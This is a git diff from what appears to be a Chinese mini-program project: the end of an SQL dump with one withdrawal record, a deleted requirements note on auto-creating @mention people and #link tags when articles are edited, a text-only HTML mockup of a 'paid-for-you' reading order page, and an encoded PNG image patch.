KEY (`id`) USING BTREE, - INDEX `idx_user_id`(`user_id`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'pending=待审核,processing=已审批等待打款,pending_confirm=待用户确认,success=成功,failed=失败' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of withdrawals --- ---------------------------- -INSERT INTO `withdrawals` VALUES ('WD1772271618875406', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'udbfnvtk', '1330000114850082603050052708391218', 'ABBQO+oYAAABAAAAAAD9e7j8nLkXzaSZglOpaRAAAADnGpepZahT9IkJjn90+1qgwedDiyxQI4ojpWB2s9qikipckRkBI4jguR+35ZwjctYnCvrNFwdplQcJopGjz/lw9FvRLtmEPZ/YJ46TvkcY0typCoA=', 1.62, 'success', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, '2026-02-28 09:40:18.902', '2026-03-05 09:58:31.220', 'WD1772271618875406', 'WD1772271618875406', NULL, NULL, NULL); - -SET FOREIGN_KEY_CHECKS = 1; diff --git a/临时需求池/2026-03-16-文章编辑自动创建@和#.md b/临时需求池/2026-03-16-文章编辑自动创建@和#.md deleted file mode 100644 index 58b80fd5..00000000 --- a/临时需求池/2026-03-16-文章编辑自动创建@和#.md +++ /dev/null @@ -1,75 +0,0 @@ -# 需求:文章编辑时 @某人 / #标签 自动创建并绑定 - -> 加个需求:用户添加/编辑文章时,@某人 若不存在则自动新增到「链接人与事」并同步存客宝;#某个标签 若不存在则自动新增到「链接标签」并默认配置。 - ---- - -## 一、需求描述 - -| 场景 | 当前行为 | 期望行为 | -|------|----------|----------| -| 编辑文章输入 `@卡若` | 若 persons 中无「卡若」→ 保持纯文本,不解析 | 自动创建 Person「卡若」+ 同步存客宝计划 → 转为可点击的 mention | -| 编辑文章输入 `#创业资源` | 若 linkTags 中无「创业资源」→ 保持纯文本 | 自动创建 LinkTag「创业资源」→ 转为可点击的 linkTag | -| 已存在 | 正常绑定 | 不变 | - ---- - -## 二、三端分析 - -| 端 | 分析 | 任务 | -|----|------|------| -| **小程序** | 无变更,content 解析逻辑不变 | 无 | -| **管理端** | 保存前需「确保存在」:对 content 中不存在的 @name 调用创建 Person,对 #label 调用创建 LinkTag,再执行 autoLinkContent | 1. 提取 content 中所有 @xxx、#xxx
2. 对不存在的调用后端「确保存在」接口
3. 刷新 persons/linkTags 后 autoLinkContent | -| **后端** | 需提供「按名称确保 Person 存在」「按 label 确保 LinkTag 存在」能力 | 1. 新增或扩展接口支持简化创建
2. Person:无 deviceGroups 时用默认配置创建存客宝计划
3. LinkTag:默认 type=url、url 空 | - ---- - -## 三、接口契约 - -### 3.1 确保 Person 存在 - -**方案**:扩展 `POST /api/db/persons`,支持仅传 `name` 的简化创建;或新增 `POST /api/db/persons/ensure`。 - -| 请求 | 说明 | -|------|------| -| `{ "name": "卡若" }` | 按 name 查找,存在则返回;不存在则创建(personId=name_slug、无 deviceGroups、调存客宝用默认配置) | - -**默认配置**:greeting/tips 空,addInterval=1,startTime=09:00,endTime=18:00,deviceGroups 空(存客宝允许无设备时创建?需确认) - -### 3.2 确保 LinkTag 存在 - -**方案**:扩展 `POST /api/db/link-tags`,支持仅传 `label`,tagId 自动生成(label 或 slug(label))。 - -| 请求 | 说明 | -|------|------| -| `{ "label": "创业资源" }` 或 `{ "tagId": "创业资源", "label": "创业资源", "type": "url", "url": "" }` | 按 label 查找,存在则返回;不存在则创建,默认 type=url、url 空 | - ---- - -## 四、任务指派 - -| 序号 | 角色 | 任务 | -|------|------|------| -| 1 | 后端 | 扩展 DBPersonSave:支持仅 name,按 name 查 persons 表(若 persons 有 name 列唯一则用;否则需确认按 name 查逻辑);不存在时用默认配置创建 + 调存客宝(deviceGroups 空时是否允许需验证) | -| 2 | 后端 | 扩展 DBLinkTagSave 或新增 ensure:支持仅 label,按 label 查;不存在时创建,tagId=label,type=url,url="" | -| 3 | 管理端 | handleSaveSection/handleCreateSection 前:extractMentionsAndTags(content) → 对每个 @name 若 persons 无则 POST persons ensure;对每个 #label 若 linkTags 无则 POST link-tags ensure → loadPersons/loadLinkTags → autoLinkContent | - ---- - -## 五、验收标准 - -- [ ] 编辑文章输入 `@新人物`(链接人与事中无)→ 保存 → 链接人与事列表出现「新人物」,存客宝有对应计划 -- [ ] 编辑文章输入 `#新标签`(链接标签中无)→ 保存 → 链接标签列表出现「新标签」 -- [ ] 小程序阅读页点击 @新人物、#新标签 可正常跳转/加好友 -- [ ] 已存在的 @某人、#标签 行为不变 - ---- - -## 六、实施记录 - -- 2026-03-16:后端扩展 DBPersonSave(按 name 查找)、DBLinkTagSave(按 label 查找,tagId 可缺省);管理端 ensureMentionsAndTags + handleSaveSection/handleCreateSection 集成 - -## 七、风险与待确认 - -- ~~存客宝创建计划时 deviceGroups 为空是否允许?~~ 已确认:deviceGroups 必填;未传时默认选择名为 soul 的设备(ckbOpenGetDefaultDeviceID) -- Person 按 name 查找:取第一个匹配;若有多人同名,会复用第一个 diff --git a/代付页面/stitch_soul/_1/code.html b/代付页面/stitch_soul/_1/code.html new file mode 100644 index 00000000..a08bf703 --- /dev/null +++ b/代付页面/stitch_soul/_1/code.html @@ -0,0 +1,143 @@ + + + + + +代付订单详情 - 我发起的 + + + + + + + +
+ +

代付订单详情

+
+ +
+ +
+
+
+
+FREE GIFT +

3000万流水如何跑出来(退税模式解析)

+

深入剖析跨境电商退税合规路径,解析三千万级流水规模下的财务闭环与架构...

+
+
+ + + +
+
+
+“我已为你买单,点击免费阅读” + + + +
+
+
+ + +
+
+

领取进度

+已领取 3 / 5 +
+ +
+
+
+
+ + +
+

领取详情

+
+ +
+
+User Avatar +
+

王小明

+

通过分享链接领取

+
+
+10-24 14:20 +
+ +
+
+User Avatar +
+

Li Hua

+

通过微信群领取

+
+
+10-24 15:05 +
+ +
+
+User Avatar +
+

张大伟

+

通过分享链接领取

+
+
+10-24 16:45 +
+ +
+
+
+? +
+
+

待领取

+

剩余 2 个名额

+
+
+
+
+
+ +
+ +
+ +
+ + \ No newline at end of file diff --git a/代付页面/stitch_soul/_1/screen.png b/代付页面/stitch_soul/_1/screen.png new file mode 100644 index 0000000000000000000000000000000000000000..44d4c7f62a1683350042a11baa4013662c04eded GIT binary patch literal 189976 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 